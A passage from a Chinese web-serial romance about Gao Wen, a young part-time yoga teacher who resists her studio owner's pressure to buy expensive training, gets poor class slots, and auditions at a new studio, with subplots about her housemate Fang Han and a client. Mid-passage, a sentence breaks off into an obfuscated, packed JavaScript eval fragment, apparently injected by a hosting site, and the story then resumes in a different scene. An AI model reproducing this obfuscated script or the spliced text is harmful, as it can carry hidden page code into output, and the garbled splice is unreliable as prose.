高雯虽然态度好，但两人还没建立“深入合作”，前台自然不太乐意卖高雯的课。 “她虽然是兼职老师，但我看她上课也不错，我想上她的私教。”林思悦又说，上一次来，前台说没高雯的私教，她要是要求，应该就会有了。 既然是开店，哪有放着钱不赚的道理。 “这个我要去问问馆长，不是我能做主的。”前台收起课程表，对林思悦道，“这样吧，我先跟馆长说，有消息的话，就通知你。” “尽快啊，我赶着要上课。”林思悦起身。 她听说，课要连着上才有效果，不然都前功尽弃，白吃了那么多苦。 “我现在就跟馆长说。”前台送林思悦道门口，这算是一个未来客户了。 “嗯。”林思悦离开前，看了眼紧闭的教室门，内心有些小失落。 林思悦下一秒脸色又垮下，她一定是疯了。 赶着上门找虐！ * 高雯下完课，正准备走，前台叫住她。 “馆长有事找你。” “好。” 高雯换下衣服，去了旁边的会议室。 过了五分钟，馆长接完电话，才笑着走进来，坐下来时，还一脸歉意道：“稍等，我回个消息。” “您忙。”高雯没下节课，静静坐着等。 馆长今年四十多岁，早些年也是练瑜伽出身，后来一步步走上来，在市中心开了这个瑜伽馆，还有了稳定的会员量，已经不再上课。 在高雯看来，对方身上一定有值得她学习的地方。 高雯的梦想不仅仅是当一辈子的跑馆或者专职老师，赚那点上课费。 她比任何人，都想要往上爬，也会抓住一切能抓住的机会，哪怕吃很多苦头，她也会咬牙攀登，带领自己走向更高的阶梯。 她坚定认为，高处的风景，一定很美。 等了好一会，馆长终于忙完了，她抬头看向高雯，笑得亲热：“雯雯老师啊，你来我们馆上课也有一段时间了，感觉怎么样？” “挺好的。”高雯温声回。 馆长坐正身子，拿过一份资料：“我看了你这段时间的课程，你的小课会员都排得很满，非常不错啊，”她说着夸赞，“会员对你的课反响也很好，的确很出乎我的意料。” 高雯话语谦虚：“可能是我刚来，大家还有新鲜感，我还有很多地方要跟其他前辈学习。” “你一个小姑娘，还这么年轻，以后肯定能赚很多钱。”馆长笑，随即道，“你现在大课和小课都上得不错，我也询问了一些会员的意见，想尝试给你安排一些私教课，教私教会员比上小课轻松一点，毕竟只教一个。” 这一步，其实在高雯意料之中，她表现得有些受宠若惊：“馆长，谢谢你肯给我机会，我会好好努力。” “是你这个小姑娘潜力无限，馆里之后说不定还会专门卖你的私教课，到时候课时费会更高一点。”馆长说完，话锋一转，“不过啊，我们这一行，还是很认证书，你现在就只是上一些小课，等上了私教，流派就多了。你也知道，我们这一片都是富人区，那些私教会员都是老会员，知识储备说不定比一些老师还要多，你还是得去上个培训。” “培训？”高雯迟疑了下，心里有不好的预感。 “你之后肯定是要不断进修，不然说不定哪天就落伍了，我可以帮你牵个线，但这个课时费，你得自己出。”馆长笑得温柔亲和，一副为她着想的样子。 高雯一颗心，徐徐往下沉，极力维持着如常的神色。 针对她的收割行动，开始了。 “这种课都是大师级别传授，单堂课收费可能都得上万，这一次刚好有档期，能集中训练，一共有四期，一期才一万八，三期就是五万四，你进修回来，拿到了高级证书，到时候上私教会更得老会员的认可，自己也有所提升是不是？”馆长徐徐诱导。 高雯在那一刻，看着馆长那张脸，对她的信任消散全无，甚至觉得对方的笑意那么刺眼。 五万四？ 可真敢开口，收割了会员，又收割老师，难怪听其他人老师说，经常会有什么培训，还要不断砸钱。 这种培训，含金量极低，就是水一个证书，属于合起伙来收割老师一波。 “馆长，我就是一个学生，还没毕业，哪有那么多钱？”高雯一脸为难。 “你可以先去上一期看看，我是真想培养你，”馆长表示，笑得格外亲和，“你在这里兼职也有课时费，到时候，我们就从课时费扣掉就行了。” 好一招通吃，她来做兼职上课还要倒欠瑜伽馆的钱。 高雯看了看手机，佯装还有事，回去考虑考虑。 出了会议门，她就沉了脸。 这里不能再久待。 一个没有信仰，已经被利欲熏心的馆长，是没有办法经营好一家店的，指不定什么时候就自己玩脱了。 * 高雯当天晚上回去时，馆长又发了十几条很长的语音，不断地游说。 其实更像在销售，她已经变成对方盯上的猎物。 因为这件事，高雯的心情烦躁了不少。 她在其他几家健身房也有兼职，但在梵盈瑜伽馆这里已经很稳定，一天能上两三节课，会员都是满员。 一节课给一百八十块。 高雯一直也知道，其他老师都比她高，馆里在压她的课时费。 不过，高雯并不在意。 一个月赚的钱加起来足够她滋润生活，远比在公司实习高多了，她的目的也不是短期内赚很多钱，经验很重要。 现在看来，是因为她没参加培训，所以课时费才没加？ 她厌恶这样的做法，知道是收割老师的手段，也的的确确把她的计划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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察觉到这个事情，她“噌”一下站起来，看着垃圾桶里三块西瓜皮，瞪圆眼又看向方寒，精致白嫩的脸颊皱成一团，纤细的手抬起来指向他：“你——” 方寒谋害她！ 啊啊啊啊—— 整整三大块，那么大的一块！ 方寒连忙解释：“西瓜的甜度很低，热量也不高。” 高雯因为心情郁闷，回来的路上已经奖励自己吃一个烤肉卷饼了，她伸手要捂脸，又因为手上有细菌，硬生生忍住，她跺着脚回到了自己的房间，比被馆长忽悠还气。 关门前，她露出半个身子，深吸了一口气，对方寒道：“我没有怪你的意思，谢谢你的西瓜，很甜很好吃。” 只是大美女的生活，是不允许放纵的！ 方寒看着轻轻关上的门，她刚刚那副样子，在他脑海里挥之不去。 徐菲开门回来了，方寒看向她，拿出了剩下的两大块西瓜：“吃西瓜吗？刚开的。” 开了的西瓜不能放过夜，得趁新鲜吃掉。 “我要这一半。”徐菲选了西瓜尾部的那半。 方寒把另外一大块用保鲜膜包起来，准备给何大哥留着。 徐菲直接捧着那一半西瓜用勺子舀着吃，看了看方寒道：“一个西瓜分了三份，给我留了尾部，给何大哥留了头部，中间嘴甜的部分，留给你的亲亲学妹啦？” “我回屋睡了。”方寒另一大块西瓜放在餐桌上，给何大哥发了消息，转身往房内去。 “小伙子，你的耳根好红啊，走路都同手同脚了。”徐菲在身后哈哈笑出声，吃西瓜吃得更欢快了。 还别说，就算不是中间部分，这个西瓜还是很甜。 * 方寒洗澡出来，接到顾书杰的电话：“你拿去的电脑，都快报废了，还是三年前的机型，我看买一台算了？” “不行，一定得修。”方寒毫不犹豫接话。 他是为了不让高雯担心，那台电脑损坏很严重，估计要换掉不少零件。 “修电脑的钱，都比买电脑还贵，零件还不知道有没有，而且还要修复数据，非常麻烦。”顾书杰说。 “尽快修好，我会自己修复数据。”方寒说完，难得开口求人，“麻烦师哥了。” 顾书杰还想问是什么资料这么重要，张妮的声音就从旁边传来：“电脑上不是贴着那么多可爱的贴纸吗？这一看就是方工爱人的电脑啊！” “他说修就修，你不懂。” 方寒刚消下去的红耳朵，又发热了。 “....不是。”他刚要否认，顾书杰就抢先一步道：“我忘了你小子金屋藏娇，行，我知道了。” 话音未落，顾书杰挂掉了电话。 方寒：“.......” 如果胡说八道算违法，他最近真的很想报警。 14、第14章 第14章 第14章 我现在回家等你。 馆长找高雯谈话过后, 在之后的两天，来馆里都会找她问问培训的事情。 在她看来，高雯年轻单纯, 又恰逢毕业着急找工作, 还要上很多培训课，可不得抓紧时间开始。 高雯找了各种理由推辞, 哪怕一期课程，都不愿意报。 馆长是人精，一眼就瞅出高雯是什么想法。 其他老师都安安分分, 哪一个不是上了好几次培训，有些培训费就花了几十万, 高雯一个新人，油盐不进, 专业度都不过关, 就想教私教会员不成？出了事, 还不是她负责？！ 馆长收起了素日里的平易近人，甚至觉得高雯这是在浪费自己好不容易替她争取来的机会。 高雯下课时, 馆长站在门口, 她淡淡往里看了眼：“雯雯老师啊，课后你要打扫一下教室, 做做卫生。” “我拖过地了。”高雯说。 她今天有三节课, 都是在这个教室，中途下课时她用大拖把来回拖了两遍，瑜伽垫也是上完课就换。 “扫得也不是很干净。”馆长探出脚, 在地上擦了一下，抿着嫣红的唇瓣，神色间有些嫌弃, “还是要上点心，你是靠会员吃饭的，不能瞎糊弄。” 馆长说完，不等高雯解释，就离开了。 高雯收教具的动作慢下来，馆长这是话里有话，在暗示她不参加培训，不“提升”自己，这是在糊弄会员。 高雯自诩见过不少肮脏的面孔，一个人能变脸这么快，还是挺让人恶心。 她走到教室门口时，还听到那个咪咪老师嘀咕：“馆长今天心情不好？谁又惹她了？” “不知道啊，”另一个瑜伽老师摇头，随后苦恼道：“下个月的培训你要去吗？一万八一期呢，好贵啊。” “能有什么办法，我们这一行，不努力就要被淘汰掉。” 高雯放慢脚步，等她们走了才出来，不想参与这个话题。 市面上的培训课鱼龙混杂，很多所谓的大师都是营销大师，打着培训的幌子，制造焦虑打点鸡血，实则是收割，那些所谓的证书，一点用都没有。 她前一世上过那么多正儿八经的培训，哪一个不比对方说的有用？ 高雯换了衣服，拿着包走出来时，张妮冲她招手。 “怎么还没走？”高雯笑着走过去问。 张妮把手机收起来，喝完面前的半杯水，站起身道：“你不是说要去买发圈吗？我也要逛一逛饰品店，一起啊。” “走吧。”高雯说。 刚刚在课上，高雯绑头发的发圈坏了，在前台随便拿了个替换。 高雯有一头乌黑柔顺的长发，上课后，几乎都是绑起来，很费发圈，在网上买是来不及了，她对饰品的精美度还有要求，打算下课后去商场饰品店买一个。 张妮兴致极高，和高雯并肩往电梯走。 电梯下行时，张妮神秘兮兮对高雯道：“我刚刚好像听到前台和馆长说，要给你开私教课的事！” 她觉得高雯上课比那些老师认真多了，凭什么其他老师都有私教课，高雯就没有。 能上私教就能多赚钱，张妮还是希望高雯能多赚点钱。 就好像，自己的宝藏教练，终于要被大家发现优秀了，她真心替高雯高兴。 “这样啊。”高雯眼底平静，还是配合着诧异道，“这个我真不知道。” 馆长找她说了那么多次，她却还是没参加所谓培训，她可不认为对方会给她安排私教课，多半是在讨论她这个事情而已。 两人在商场里逛。 商场里很热闹，来来往往都是人。 张妮来到一家奶茶店前，要请高雯喝奶茶。 “不用了。”高雯笑着婉拒，她举了举手中的保温杯，“我带了水。” “你这样，会让我有愧疚感的。”张妮看了看高雯，喝奶茶的欲望都减少了很多。 张妮生孩子后，长了些肉，虽然顾书杰说长点肉好，但是和年轻的自己比，还是有差距。再看看高雯，那纤细的腰和笔直的长腿。 高雯穿了一件外套都遮不住好身材，频频惹人回头。 “你今天流了很多汗，训练非常到位，而且你的后背薄了不少，喝一杯奶茶没关系。”高雯轻声说。 “真的？”张妮笑颜逐开，“那我点了？” “嗯。” 高雯松了口，张妮喝得简直毫无心理负担，她乐呵呵去点单了，还要喝大杯！ 张妮和高雯去饰品店逛了一圈，买了发圈，时间还早，两人又绕着商场里闲逛，买点其他小玩意。 没一会，张妮手上就提了好几个袋子。 全程，高雯并未多说话，张妮倒是说个不停，别看她比高雯大两岁，但心思简单，都快把自己的家底都交代个干净。 听张妮说，她老公比她大五岁，之前是她的高中补习老师，家境并不怎么样，还是从偏僻山村里出来的做题家，家里人都不同意，结果她刚毕业就义无反顾嫁了，对方在创业，自己开公司。 “他对我好啊。”提及为什么嫁，张妮和所有女孩说的一样，她笑得甜蜜，“他对我很好的。” 高雯笑了笑，并未发表自己的意见。 按照她的思维，门不当户不对是不会有好结果，消费观的都不一样，从底层爬上来的人，最看重的就是钱，哪有什么爱情。 高雯觉得自己也是个功利的人，在她的择偶标准里，经济家境素来都是第一位。 她这样的人，或许都没爱人的能力，怎么可能会有爱情？ 爱情稍纵即逝，她的父母当初也爱得死去活来，最后呢？她这个从小娇生惯养的“爱情结晶”，在高三的时候被母亲无情抛弃，并卷走所有钱。 选择经济，到头来还有钱不是吗？ 高雯的生存处境告诉她：人没了钱，活都活不下去。 “外地人在这里生存很不容易，为了我们的小家，我老公超级努力，现在还在加班，”张妮的声线再次传来，她看了看自己手上的袋子，耸拉了脸看向高雯，“糟糕，我今天又没控制住，花了好多钱！” “钱已经花了，开心就好。”高雯宽慰她。 “也是，”张妮收敛自责，一脸幸福，“他说我高兴就好了，他赚钱就是给我花的。嫁给他之后，他吃了很多苦，但把我和女儿养得很好。”她说完又道，“这不是我自卖自夸，我爸妈都这么说！” “我看出来了。”高雯由衷笑了，“他对你很好，是个有担当有责任感的男人。” 在首都这样的城市，生存压力很大，一个外地人独自打拼养家，不仅让老婆全职，还能无忧无虑来做一些费钱的运动，看到喜欢的衣服和饰品能够毫不犹豫买下来，家里经济必然是相对好的。 张妮这性子，一看就被养得很好，女儿也是阿姨照顾，又是嫁给自己爱的人，生活应该算幸福美满。 高雯虽然不相信所谓的爱情，也只是不相信自己能拥有，她情感冷漠，一直清醒理智活着，但对于别人的爱情，也会感觉真不错。 “我爸妈现在都把我老公当亲儿子，还说我不争气呢，以后靠不住我。”张妮话锋一转，“说起这个，我还是有点失落，感觉自己生了孩子之后，连身材都恢复不了。” “你不是已经瘦了三斤吗？”高雯把手机拿出来，调出对比图，随后道，“我刚刚特意走在你身后观察了下，你的走姿，已经矫正不少。” “真的？！” “嗯。” 张妮的郁闷一扫而光，狠狠吸了一口奶茶，笑容重回脸上。 两人往楼下走的时候，路过一家咖啡厅，一个卷发女生尖叫了一声，连忙站起身。 众人都被吸引过去。 卷发女生打翻了咖啡，洒在自己的手机上了，正拿着自己的手机着急擦拭，还不断用力甩。 张妮看到后，想起方寒的事情，随口说道：“这种电子产品还是要注意，我老公师弟拿来一台笔记本，也是被打翻的牛奶渗进去了，零件坏了不少，修电脑的钱都够买一台了，听说数据特别不容易恢复。” 闻言，高雯心下一紧，接着问道：“是他的电脑吗？” 她的电脑也不是被牛奶渗进去了，不会是她的吧？ “不是，应该是他女朋友的。”张妮迟疑了下说。 高雯又放下心。 她单身，所以肯定不是她的。 张妮电话响起，她接了个电话，说自己买了不少东西，花了不少钱，那一头不知道说了什么，她笑得花枝乱颤，挂掉电话就和高雯道别：“我老公现在要下班回家了，我先回去啦，明天见。” “明天见。”高雯轻轻挥手。 张妮走后，高雯想起电脑的事情，给方寒发了消息：【在家吗？】 这两天，她已经问了他两次电脑的事情，的确是有些着急，显得不信任他一样。 高雯正在想要找个什么借口。 方寒好似知道她要问什么，发来了一张电脑的照片，紧接着道：【没，现在要回去了，我把电脑拿回去给你。】 高雯一看，心情愉悦，连发了几个阿狸鞠躬致谢的表情包：【我现在回家等你。】 表情包可爱呆萌，但抵不过高雯的那句“回家等你”，方寒盯着那条消息看了又看，内心泛起一丝丝涟漪，微妙又绵长。 “修复好了吗？”顾书杰取了外套和车钥匙，走过来道，“你都捣鼓几天了，要是资料不重要，我看算了，有那时间，十个八个电脑都赚回来了。” “好了。”方寒起身把电脑收起来，背上书包往外走。 “厉害啊！”顾书杰冲方寒竖起大拇指，和他一起离开。 * 高雯回来后，洗好澡，见方寒还没回来，她趴在床上，拿着一本书在看。 看着看着，高雯的眼皮往下沉，她脑袋往下一瞌，头埋在书里，与此同时手机响了。 高雯一看，是方寒发了的短信。 她起身去开门，笑着道：“你回来了？” “嗯。”方寒跟着扬起嘴角，他把书包放在椅子上，将电脑拿出来，看向她柔声道：“修好了，你看看。” 高雯激动得光着脚丫，挪着小碎步就出来了，她把手中的书随手放在一边，坐下来打开电脑。 电脑能打开，资料都还在，高雯这几天悬着的心可算是放下，她双手合十，看向方寒重新感谢：“谢谢学长，真的万分感谢，你是大好人。” 方寒对自己熬了几天的事情只字未提，轻描淡写道：“这不算是什么大事。” “多少钱？我转给你。”高雯说。 方寒：“不用了，没多少钱，这几天你买水果的时候，顺路给我买一份就好。” 他清楚她的性子，要是不提点要求，她又该内疚了。 有来有往，挺好。 “好的，那我明天给你买樱桃！”高雯继续检查电脑，打开资料仔细查阅。 这些可都是她的心血啊。 方寒走到高雯对面坐下来，拿过被她随手放在一边的书籍，轻声念道：“运动损伤康复治疗学？” “嗯。”高雯在做资料备份，随口道，“想不到吧？我一个教瑜伽的，不仅看康复学，我还看营养学，之后我还要去考证书！” 方寒轻轻笑出声。 高雯停住动作，柳眉蹙起，乌黑清凉的眸子一抬，看向他道：“你不信啊？” 她专业的！ “不是，”方寒摇头，低头翻着书，看着上面密密麻麻的字，含笑道，“你过于专业了。” 他怎么不信呢？ 最先吸引他的，就是高雯身上那股积极向上的生命力。 “你这是夸我的话。”高雯听出来了，她纤细的手指在触屏板上移动文件，继续备份。 “你一定会把证考出来，也会做好你想做的事情。”方寒话语清缓，以至于高雯忽略掉他语气里的信任和笃定。 在方寒看来，高雯积极向上，自信张扬，带着非常旺盛的生命力。她身上有一股韧劲，会把想做的事情做到最好，努力到极致的决心。 这样的信念，带着强大的力量，会带着她一步步走向成功。 * 周末，新的一周课表排出来了。 高雯看到课表，神色一沉。 她的课，时间点比一开始还不好。 不是早上七点，就是晚上九点半，居然还有中午一点半的课，这样的时间段，是会员最不喜欢的时间段，起得早，下课晚，回去洗漱结束都十一二点了，很少会有人约课。 高雯知道，馆长这是故意安排。 就算她去问，人家理由有的是理由。 她不是专职老师，馆里有那么多的老师需要被排课，教室就那么多。随便一个理由就能搪塞她。 她连问都不问，照单全收。 高雯原先一直满员的课，开始出现空位。 不少上高雯课的会员都有意见，只有一个人是高兴的，那就是一直约不上课，在家里躺尸几天的林思悦。 前台说高雯开了私教课会联系她，都过了这么多天，还没联系她，她每天都会刷约课小程序，看到高雯的课还有空位，激动得不行。 对于年轻人来说，才九点半，夜生活刚刚开始，一点都不晚！ 林思悦一口气约了几节课。 其中一节，还是晚上十点的课。 林思悦去教室一看，只有两个人，瑜伽馆其他教室都空了，她来的时候，因为时间太晚，商场楼下都没什么人了。 五个人的时候，高雯的精力毕竟有限，平均分配的话，哪怕再严格，每个人受虐的时间不长。 两个人的话，林思悦又一次被暴虐，她又开始懊悔为什么要来了。 在高雯的指导下，林思悦拿着瑜伽轮做了一个后弯动作，都能抓住自己的脚踝了，瞬间又把她激动得不行。 所有的辛苦，都值了！ 今天有发朋友圈的素材了！林思悦发誓一定要亮瞎他们的眼！ 林思悦起身时，高雯去扶住她，话语轻柔：“慢一点，给你的脊柱一点缓冲的时间，再慢一点，没关系，慢慢来。” 下课后的高雯温柔又耐心，让刚刚在心里骂她的林思悦都不好意思起来，没敢看她。 这个时间点瑜伽馆早就没人了，前台也没把水接好，还是高雯去倒的。 另一个会员走了，林思悦坐在休息区，她等了高雯一会，想和对方一起走，迟迟没见高雯出来，她往教室走，见高雯在整理教具。 “还没回去吗？”高雯看到林思悦了，笑着出声问。 “要回去了。”林思悦赶紧说，“我走了。” 她可不想让她觉得，她在等她！ 才没有！ “等一下。” 高雯出声，林思悦脚步顿住。 她看着走来的高雯，心里狂跳，该说不说，这女人真的好美啊，气质是真好，该死的优雅。 不过，她叫她干嘛？ 难不成，就只有两个人的时候，要私底下跟她说她哥的事情了？她是绝对不会答应的！ “加个微信吧。”高雯说。 “好。”林思悦快速接话，答应得爽快，她就知道，她肯定会费尽心思加她微信。 高雯又道：“我把照片发给你，就不用每次都麻烦小圆转发给你了。” 林思悦：“” 就只是为了，发照片？ “稍等啊。”高雯去柜台拿了自己的手机，发现又没电了，她把数据线拿出来，暂时先插上，“我一会再加你吧，在小班群里也可以加，不好意思。” 高雯这个手机用了三年半，高考毕业买的，买了落后几个版本的机型，比较便宜。 她的钱都用在提升自我和生活品质上，对手机需求不高，但这个电池是越来越不行，本来还想这两个月多赚点钱，给自己买个好点的手机，看来是不行了。 “我先走了。” 林思悦有些遗憾脚步往电梯走，电梯关门前，她还在想，高雯一个人在瑜伽馆，前台为什么不等她下课啊？ 那她不是还要自己收拾关门？馆里的人是不是欺负她是兼职老师啊？ 林思悦下了楼，她本来要打车，林珩给她打了电话。 “哥，我刚下课，正准备回去。”林思悦习惯性汇报，还特意强调自己刚下课，对于现在的她来说，这算正经事。 “我下班了，正好去接你。”林珩说。 “好，我等你。”林思悦应。 十分钟后。 林珩的车停在路边，林思悦开门上去，笑嘻嘻道：“哥，你今天又加班了？” “嗯，”林珩看了她一眼，拧眉问，“上课时间怎么这么晚？白天没有课吗？” “我就觉得那个老师上课挺好的，别人的课都不怎么样。”林思悦给自己系安全带。 “哪个老师？你上次说什么都不懂的那个？”林珩不愧是最了解林思悦的人，一句话给她干沉默了。 林思悦支支吾吾，也觉得丢脸，她转移话题：“哥，你们公司的实习生怎么样？” “什么怎么样？”林珩手机响了声，他拿过来查看。 “就是工作态度啊，人品什么的，”林思悦问。 “还不错，都没什么大问题。”林珩随口回，“能进我们公司的实习生，能力都是很不错的。” 林思悦又试探性道，“我上次去你们公司不是看到一个长得比较好看的实习生吗？也是A大的，叫什么雯。” “高雯？”林珩打字的动作停住，看向林思悦。 “对对对，”林思悦点头，“她是不是辞职了？” “你怎么知道？”林珩诧异。 林思悦：“我在瑜伽馆看到她了啊，她来瑜伽馆当老师了，叫雯雯老师。” “当瑜伽老师？”林珩将手机放下，“不太可能，你认错了，她是阿拉伯语专业的学生，还没毕业，正在实习，怎么可能去当瑜伽老师？这是两件完全不搭边的事情。” “啊？难道我认错人了？”林思悦也有点不太确定起来，她想起自己对高雯的恶意，羞窘道，“我还以为她对哥有意思，想要攀上我们家来着，一开始对她态度还不好。” “胡说八道！”林珩想起办公室先前的流言蜚语到现在的风向转变，面色严肃道，“没有的事，她辞职了，也没做任何出格的事情。” “尴尬了——”林思悦摸了摸鼻子，手机正好响了起来。 她以为是高雯加她了，连忙查看，结果是前台发来的照片。 林思悦又点开联系人，没人加她。 不是说好要加她的吗？ 怎么回事啊？！ 林珩不认为林思悦说的人是高雯，一个实习生，就算辞职了，也不太跨这么大的行业，再说了，瑜伽老师教人也需要功底，高雯左右不过是个学生，还没毕业。 他没把林思悦的话放在心上，踩了油门，看了眼后视镜往前开。 一抹熟悉的身影闪过，林珩猛地踩下油门。 林思悦的身子往前一倾，她吓了一跳，连忙问：“哥，怎么了？” 林珩定神看，什么都没看到，刚刚好像是他的错觉，还以为看到高雯了。 他对自己都很无奈，可能是这几天连续加班，都迷糊了，加上林思悦刚 刚提起高雯，他脑子抽了。 一个认不清现实的实习生，还没被社会捶打，不知天高地厚。 林珩一脚油门，黑色的奔驰很快扬长而去。 商场外不远处，系好鞋带的高雯站起身，她本来要过马路，但又转身往商场另一边走，来到了张妮上次所说的那家瑜伽馆门前。 这家瑜伽馆将在一周后开业，门口贴着招聘信息和电话。 语禾瑜伽馆，联系人：徐老师。 高雯举起手机，拍下了联系方式，这才重新往外走。 她一边走，一边打着哈欠，刚刚答应要加林思悦微信好友的事情，已经被她忘得一干二净。她现在只想赶紧回去洗个澡，做好护肤就睡觉了。 路上的时候，方寒给高雯发了两份论文参考文献，这段时间，他都在帮她查找文献。 高雯不想打字，直接发语音回他：“我回去再看看。” 方寒发来消息：【还没回来吗？】 高雯又打了个哈欠，语气懒洋洋：“今天下课晚，马上到了，在路上。” 方寒：【好。】 高雯回到小区楼下，都已经过了十一点，她以为方寒他们早就回了房间，每次看着漆黑的客厅，说实话还有点发怵。 到了门口，她收起手机，准备一开门就开灯。 “咔嚓。”高雯打开门，入眼是明亮的客厅。 方寒坐在餐桌前，面前放着一台笔记本，还有一碗泡面，刚泡好的，还压着没开封。 “还没吃饭呢？”高雯问。 方寒回：“宵夜。” 高雯伸手关门，含着笑道：“吃着减脂餐，半夜偷偷给自己补一补，你的快乐，只有自己知道。” 方寒笑：“要加班。” “好吧，辛苦了，早点睡，”高雯是个只对自己严格的人，她困得有些睁不开眼，拖着脚步往房间走，无力摆着手，“晚安。” “嗯，晚安。”方寒等高雯房间关了门，拿着自己的笔记本和泡面，回了房间。 泡面早坨了，他其实也不是很想吃。 只是，等她需要一个理由。 第二天。 高雯早早就起床了，七点就要上课，前台还没上班，她来到瑜伽馆，不仅要负责把教室的窗户都打开，还需要煮茶水，自己铺垫子。 这种早课，也就两三个人。 课时费是按人数算的，比满员减了一半课时费，起得早还得干不少活。 就连前台看到课程表，都察觉出来一丝不对劲，她早上还给高雯发消息了，高雯一点负面情绪都没有，还让对方可以晚点来，茶水她煮好了。 下了课，高雯并没有回去，下了楼，她就拨通了昨天拍到招聘上的电话—— 作者有话说：本来说是明天早上九点入v，后来改成零点，考虑到有宝子不熬夜，我们就提前更。 不过，有一章还在审核，得等一会才发， 还有就是剩下的几千字作者在继续写中，因为家里今天出现了点紧急情况，一直在处理晚上才回来，最后一章大家也可以明天早上醒来再看。 非常感谢大家的支持啦，你们的支持是作者坚持下去的动力！这一更发两百个红包哦，爱你们么么。 15、第15章 第15章 第15章 你太年轻，未来的路还要走很…… 徐眉后来想起见到高雯的第一面, 都会笑着说：我看到她的第一眼，我们以为瑜伽馆门面担当来了，结果是金牌老师来了。 高雯穿着奶白色的瑜伽裤, 上衣外披着防晒衣, 她的身姿窈窕，柔细纤瘦, 一张脸白嫩精致，明眸皓齿。 她身上有独特的气质，不卑不亢, 从容优雅，这是模仿不来的高级感。 “雯雯老师？”徐眉一下就看上她了。 高雯笑：“徐老师。” “不介意试课吧？”徐眉笑着问。 高雯年纪还是太小了, 居然还没大学毕业，但自述又练了几年瑜伽, 也有瑜伽证, 徐眉不知道她说的话有没有水分。 徐眉也是这一行出身, 她不动声色观察了高雯，就知道她肯定练过, 而且练得特别好, 身材非常匀称，但每个人的先天条件不一样, 她不知道高雯的知识储备和教学水平。 这里是富人区, 收费贵一些，走的就是高端。 徐眉不想糊弄会员，想要的是有经验的老师, 不然就会砸招牌。 “我没问题，现在就可以。”高雯说。 “现在还没开业，馆里都没人, 你就给我上吧，顺便参观一下我们的馆，给点意见。”徐眉都想好了，要是高雯教学知识不过关，最好能劝说她来当前台，当销售。 高雯往那里一站，就是招牌。 磨合磨合之后当老师，销售的工资也很不错，毕竟美貌也是稀缺品。 徐眉这个念头，在高雯给她上课五分钟后，彻底打消了。 她的内心只剩下震惊，她在配合高雯做体式时，断断续续出声，不断确认道：“你只练了三年？” “可以这么说。”高雯抓着徐眉的手，加深了体式。 “呼——”徐眉深呼一口气，私心没有阻止高雯对她的辅助。 本来半个小时的试课，上了一个小时。 课程结束后，徐眉坐在垫子上，她擦了擦汗，调节好呼吸，笑着看向高雯：“我很久没有做这么加深的体式了，原谅我私心想占你的便宜。” 试课早就通过了，她故意让高雯给她上了一节课。 毕竟能给她上瑜伽课的老师也不多，抛开一些专业培训，其他老师到底年轻，没她从事的时间长，还是会被她揪出错。 徐眉没从刚刚的课程过程中找出错误，高雯连教她这种资深的瑜伽老师都知道该如何衔接合适的体式，并且还会用力道辅助加深训练，给会员上课那是绰绰有余。 “这怎么算占便宜，是您给我一个尝试的机会。”高雯接话，说得真诚。 “你的专业性功底很扎实，这么短的时间，你针对我安排的体式衔接很融洽。你太年轻了，未来的路，还要走很高很远啊。”徐眉笑着，说得认真，“现在不是我要不要招聘你，是你想不想来。” 又过两日。 高雯上的还是早上七点的课。 张妮一来教室就嘟囔：“雯雯老师，这个星期你的课时间点都很不好，怎么回事啊？我都是强撑着爬起来的，昨天晚上九点半的课就没上成，太晚了！我都要睡觉了。” 高雯走到一边给她拿教具，抿唇道：“我也没办法。” “这么早爬起来上课，我对你真的是真爱啊。”张妮说。 高雯无奈叹气：“辛苦了。” “希望下个星期你的上课时间能变正常，不然我就要去提意见了，”张妮替高雯打抱不平，“哪有这样的？这不是欺负你是兼职老师吗？” 高雯笑笑没接话，拿着手机开始连蓝牙，播放音乐。 张妮六点就起床准备来上课，没睡够，不怎么进入状态，高雯没有平日里那么严厉，尽量帮她们先调节状态。 一个小时很快过去，高雯还没下课打算。 前台开门提醒：“雯雯老师，已经下课十分钟了，馆长找你。” “好的。”高雯点头。 张妮几人以为要下课了，结果高雯还在继续辅助她们做体式，不紧不慢带她们做完拉伸动作收尾。 期间，前台再一次开门，看到正在进行收尾的拉伸动作，压住了催促的话，默默关上门。 “下课了，谢谢大家。”高雯双手合十，起身的时候还微微弯腰，“你们记得喝点水，我有事先去忙。” “好的好的。忙去吧，”张妮朝她笑着挥手，“拜拜~~~” 高雯摆手，露出一抹明艳的笑：“拜拜。” 她一走，就有会员开始感慨道：“别看雯雯老师年轻，她相当负责任啊。” 另一个老会员接话：“可不是嘛，我们今天都不怎么没进入状态，她就延迟下课近二十分钟，换别的老师，早就匆匆收尾下课了。” “这孩子太实诚，不能让我们白花一分钱啊。” 张妮被这个会员的话逗笑，细想来，高雯的确是这样。 她从上课的那一秒，到下课，就像变了个人。别看高雯年纪小，气场起码一米八，分分钟虐你没商量。 其他会员陆陆续续走后，张妮也起身，她拿上自己的包包，从里面拿出衣服，在换衣服前，先去了趟洗手间。 洗手间都有人，张妮准备找间空教室，先把衣服换下来，黏糊糊的不舒服。 张妮往走廊尽头走。 倏然，会议室传来馆长的一阵怒斥：“高雯，你以为你多么有能耐？是我给你机会，是这个平台给你资源，离开了这里，你什么都不是！” “你不要过于忘本了！” “既然这样，您为什么不放我走？”面对气急败坏的馆长，高雯面色未变，“这个星期的课我会上完，不会打乱您的安排。” 高雯倒不是为她着想，是会员约了课，她就要负责。 “你对我给你安排的课程不满意？”馆长沉着脸反问。 今天一大早，她就收到高雯给她发的消息，短短两句话，说她上完这个星期的课就不会来兼职了，让她提前安排好其他老师衔接。 一个没毕业的小丫头，说话很干脆很有骨气。 馆长还以为她会想通从而屈服，没想到高雯直接把她的脸打得啪啪响，掀桌子不干了。 这个馆里不缺瑜伽老师，她倒不是稀罕高雯，觉得对方多有能耐，她是没想到有好几个会员提出对这一周高雯课程时间的不满意，要求下周改并且多排高雯的课。 高雯有了能够给馆里赚更多钱的能力，要是离开，会让她觉得失去了一棵摇钱树。 损失利益，才是让她急跳脚的原因。 “您对我不交钱参加培训的事情不满意？”高雯直接反问。 馆长没想到她那么直白，一下噎住，脸色一阵青白。 “您没有不满意，我就没有，您要是有，我也有。”高雯说完话还抿唇扯了扯嘴角浅笑。 